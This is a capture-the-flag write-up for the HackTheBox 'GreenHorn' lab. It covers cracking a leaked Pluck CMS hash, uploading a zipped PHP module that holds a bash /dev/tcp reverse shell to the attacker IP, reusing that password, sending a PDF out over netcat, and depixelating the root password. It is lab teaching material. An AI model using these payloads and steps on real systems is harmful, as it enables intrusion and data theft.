GreenHorn – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Easy
  • Platform: HackTheBox

‘GreenHorn’ Avatar


Summary Link to heading

“GreenHorn” is an easy machine from HackTheBox platform. We are able to find that the victim server is running a Gitea instance and a Pluck CMS site. We are able to create an account in Gitea service and find a hash inside a public repository; which we are able to crack and gain access to Pluck CMS admin panel. We are able to install a malicious module in this service and gain initial access to the victim machine. Once inside the machine, we find that one of the internal users is recycling the password for Pluck CMS site. This user has a PDF file with a pixelated password. We are able to “clear” the pixelated image, obtain the password for root user and gain total control over the system.


User Link to heading

We start looking for open TCP ports with Nmap:

❯ sudo nmap -sS --open -p- --min-rate=5000 -n -Pn -vvv 10.10.11.25

From the output we can see 3 ports open: 22 SSH, 80 HTTP and 3000 another HTTP site; and we check their versions:

❯ sudo nmap -sVC -p22,80,3000 10.10.11.25

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-19 23:58 -04
Nmap scan report for 10.10.11.25
Host is up (0.20s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
|_  256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://greenhorn.htb/
3000/tcp open  ppp?
| fingerprint-strings:
|   GenericLines, Help, RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest:
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=b37c13f914d7c31b; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=TfgSb8HSn0N38iQxFZ_XwzkGJWA6MTcyNDEyNjM0MDc5NjAwMzM4OQ; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Tue, 20 Aug 2024 03:59:00 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-auto">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>GreenHorn</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
|   HTTPOptions:
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=185b0fb05b5bb3e3; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=ChTQomRIw9JNYOh1X23Dlqf0Atw6MTcyNDEyNjM0NzM2MDMzNDA4Mg; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Tue, 20 Aug 2024 03:59:07 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.94SVN%I=7%D=8/19%Time=66C41483%P=x86_64-pc-linux-gnu%r
<SNIP>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.30 seconds

From the scan I note that port 80 is redirecting to http://greenhorn.htb, so we add this domain to our /etc/hosts file running:

❯ echo '10.10.11.25 greenhorn.htb' | sudo tee -a /etc/hosts

Before visiting the sites on a web browser, we use WhatWeb against ports 80 and 3000, where we have:

❯ whatweb -a 3 http://greenhorn.htb

http://greenhorn.htb [302 Found] Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.25], RedirectLocation[http://greenhorn.htb/?file=welcome-to-greenhorn], nginx[1.18.0]
http://greenhorn.htb/?file=welcome-to-greenhorn [200 OK] Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.25], MetaGenerator[pluck 4.7.18], Pluck-CMS[4.7.18], Title[Welcome to GreenHorn ! - GreenHorn], nginx[1.18.0]

❯ whatweb -a 3 http://greenhorn.htb:3000

http://greenhorn.htb:3000 [200 OK] Cookies[_csrf,i_like_gitea], Country[RESERVED][ZZ], HTML5, HttpOnly[_csrf,i_like_gitea], IP[10.10.11.25], Meta-Author[Gitea - Git with a cup of tea], Open-Graph-Protocol[website], PoweredBy[Gitea], Script, Title[GreenHorn], X-Frame-Options[SAMEORIGIN]

From the output I can see that site on port 80 is running using Pluck, whereas port 3000 is running Gitea.

Visiting http://greenhorn.htb now shows a simple webpage:

GreenHorn 1

Reading the text from the webpage it clearly says that the site is still on development.

We could attempt to get directories through a Brute Force Directory Listing, but since Pluck is open source, we can check its Github repository. There I can see some files: admin.php, index.php, install.php, requeriments.php, login.php and robots.txt.

Visiting /admin.php, as expected, throws an error since we are not logged in:

GreenHorn 2

Additionally, after some seconds it redirects to /login.php directory, where we can see:

GreenHorn 3

Visiting the ther PHP files or robots.txt do not show anything interesting, so do not lose your time.

I also note from WhatWeb, and also from the web browser itself, that when we visit http://greenhorn.htb it redirects to http://greenhorn.htb/?file=welcome-to-greenhorn. Attempting a Local File Inclusion visiting, for example, http://greenhorn.htb/?file=../../../../../../../../etc/passwd returns an error that shows the following text:

A hacking attempt has been detected. For security reasons, we're blocking any code execution.

If we search for a random page such as test visiting http://greenhorn.htb/?file=test we get error 404 Not Found:

GreenHorn 5

At this point I decide to visit the site running Gitea on port 3000. Visiting http://greenhorn.htb:3000 we can see a typical Gitea page:

GreenHorn 4

We decide to create a generic user in this service. Once created we log in and we can see:

GreenHorn 6

Now I usually start looking for exposed repositories. For this, we can click on Explore at the top bar, which redirects us to http://greenhorn.htb:3000/explore/repos. Here I can see another repository called GreenHorn from a user called GreenAdmin:

GreenHorn 7

and entering on the repository we have:

GreenHorn_8.png

Here we realized that the files contained in the repository are exactly the same from Pluck CMS Github repository. We can check this Line from Pluck repo for login.php file or login.php from the internal repository where we have the portion of code:

GreenHorn 9

<SNIP>
//If password is not correct; display error, and store attempt in loginattempt file for brute-force protection.
elseif (($pass != $ww) && (!isset($login_error))) {
	  $login_error = show_error($lang['login']['incorrect'], 1, true);

		//If a loginattempt file already exists, update tries variable.
		if (file_exists(LOGIN_ATTEMPT_FILE))
			  $tries++;
		else
			  $tries = 1;

		//Get current timestamp and save file.
		save_file (LOGIN_ATTEMPT_FILE, array('tries' => $tries, 'timestamp' => time()));
	}
}
<SNIP>

where, in login.php, we can see that, to allow the login, it is comparing the password passed by the user with the variable $ww.

But where is $ww variable? Googling it we find this post that explains how to install Pluck on Ubuntu. More specifically on the reply to the question How to Changing the Password?, where they give the route data/settings/pass.php. Also, looking at the source code, I note these lines are defining that file as well:

<SNIP>
require_once 'data/settings/pass.php';

//Check if we're already logged in. First, get the token.
require_once 'data/settings/token.php';

if (isset($_SESSION[$token]) && ($_SESSION[$token] == 'pluck_loggedin')) {
	    header('Location: admin.php');
	    exit;
}
<SNIP>

In the official Pluck repository there is no file pass.php. Nevertheless, in the repository from Gitea there is a file data/settings/pass.php where I can see the password:

GreenHorn

with content:

<?php
$ww = 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163';
?>

but rather than a plaintext password, this is a hash of a password.

However, and as can be seen from the portion of code from login.php it is using SHA512 encryption:

<SNIP>
//If password has been sent, and the bogus input is empty, MD5-encrypt password.
if (isset($_POST['submit']) && empty($_POST['bogus'])) {
		$pass = hash('sha512', $cont1);

		//Create hash from user-IP, for brute-force protection.
		define('LOGIN_ATTEMPT_FILE', 'data/settings/loginattempt_'.hash('sha512', $_SERVER['REMOTE_ADDR']).'.php');
<SNIP>

We save that hash into our attacker machine and attempt to crack it through a Brute Force Password Cracking using the tool JohnTheRipper and the format SHA512:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt pluck_hash --format=Raw-SHA512

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA512 [SHA512 256/256 AVX2 4x])
Warning: poor OpenMP scalability for this hash type, consider --fork=5
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iloveyou1        (?)
1g 0:00:00:00 DONE (2024-08-20 01:17) 33.33g/s 170666p/s 170666c/s 170666C/s 123456..babygrl
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

and we got a password: iloveyou1

This password should work for /login.php on the site running on port 80. So we visit http://greenhorn.htb/login.php and pass this password. This password works, and after some seconds we are now inside the administration panel:

GreenHorn 11

Go to pages at the top bar, and then to manage files. Here, we will upload a simple PHP webshell:

<?php system('bash -c "bash -i >& /dev/tcp/10.10.16.3/443 0>&1"'); ?>

where 10.10.16.3 is my attacker IP and 443 is the port I will start listening with netcat. I save this file as gunzf0x.php.

If we upload this file into the site, it adds the extensions .txt as follows:

GreenHorn 12

but if we visit the uploaded file, the code inside is not interpreted. So we will have to find another way to inject code into the site.

Searching for exploits for Pluck with version 4.7.18 (as can be seen at the bottom left of the panel) yields to this blog to a vulnerability labeled as CVE-2023-50564. In short, we are able to install a fake module. This module could be a .zip file with PHP code inside it, which is interpreted by the system. So we compress our malicious PHP file into a .zip file:

❯ zip gunzf0x.zip gunzf0x.php

  adding: gunzf0x.php (stored 0%)

Then, on Pluck panel go to options, then manage modules we see:

GreenHorn 13

Click on Install a module... and upload the generated .zip file:

GreenHorn 14

Before clicking on Upload, remember to start a netcat listener. In my case I start listening on port 443:

❯ nc -lvnp 443

listening on [any] 443 ...

Now we can click on Upload. If this worked we should see the text The module has been installed succesfully and after some seconds we get a shell as www-data:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.25] 54736
bash: cannot set terminal process group (1095): Inappropriate ioctl for device
bash: no job control in this shell
www-data@greenhorn:~/html/pluck$ whoami

whoami
www-data

Checking for users in this machine we have 3:

www-data@greenhorn:~/html/pluck$ cat /etc/passwd | grep "sh$"

root:x:0:0:root:/root:/bin/bash
git:x:114:120:Git Version Control,,,:/home/git:/bin/bash
junior:x:1000:1000::/home/junior:/bin/bash

Since we have SSH service running, we check if the password found for Pluck login panel is recycled for any of these users using NetExec:

❯ netexec ssh 10.10.11.25 -u junior -p 'iloveyou1'

SSH         10.10.11.25     22     10.10.11.25      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH         10.10.11.25     22     10.10.11.25      [-] junior:iloveyou1 Bad authentication type; allowed types: ['publickey']

but the machine does not allow passwords to log in. Only keys.

For this reason, since we already have internal access to the machine, we attempt to pivot to junior user with password iloveyou1 internally on the target machine:

www-data@greenhorn:~/html/pluck$ su junior

Password: iloveyou1

junior@greenhorn:/var/www/html/pluck$ whoami

junior

We can finally read the user flag as this new user:

junior@greenhorn:/var/www/html/pluck$ ls -la /home/junior

total 76
drwxr-xr-x 3 junior junior  4096 Jun 20 06:36  .
drwxr-xr-x 4 root   root    4096 Jun 20 06:36  ..
lrwxrwxrwx 1 junior junior     9 Jun 11 14:38  .bash_history -> /dev/null
drwx------ 2 junior junior  4096 Jun 20 06:36  .cache
-rw-r----- 1 root   junior    33 Aug 20 03:53  user.txt
-rw-r----- 1 root   junior 61367 Jun 11 14:39 'Using OpenVAS.pdf'

Root Link to heading

As we saw previously, inside /home/junior directory there is a file called Using OpenVAS.pdf. We pass this file from the victim machine to our attacker machine using netcat. We start a listener on port 8888 on our attacker machine, and everything received in that listener will be stored on a file called OpenVAS_file.pdf:

❯ nc -lvnp 8888 > OpenVAS_file.pdf

listening on [any] 8888 ...

And in the target machine we run:

junior@greenhorn:~$ nc 10.10.16.3 8888 < 'Using OpenVAS.pdf'

where we can press Ctrl-C after some seconds to ensure that the file has been transferred. Reading the PDF file shows some text:

GreenHorn 15

Apparently the password is pixelated. We can find a tool to pass from a pixelated to a “clear” image. For this we can use the tool Depix. Download it from its Github repository. We take a screenshot from the pixelated password and save it as pixelated_text.png:

GreenHorn 16

and use the mentioned tool to “depixelate” it. Inside the repository there is directory called images/searchimages containing the images with patterns to try:

❯ python3 depix.py -p pixelated_text.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o depixelated_text.png

2024-08-20 03:06:38,305 - Loading pixelated image from pixelated_text.png
2024-08-20 03:06:38,372 - Loading search image from images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
<SNIP>
2024-08-20 03:58:19,272 - Writing single match results to output
2024-08-20 03:58:19,277 - Writing average results for multiple matches to output
2024-08-20 04:00:02,285 - Saving output image to: depixelated_text.png

we get:

GreenHorn 17

We have the text:

sidefromsidetheothersidesidefromsidetheotherside

We check if this is the password for root user:

junior@greenhorn:~$ su root

Password: sidefromsidetheothersidesidefromsidetheotherside

root@greenhorn:/home/junior# whoami

root

and it is. We are root. We can read the final flag at /root directory and that’s it.

~Happy Hacking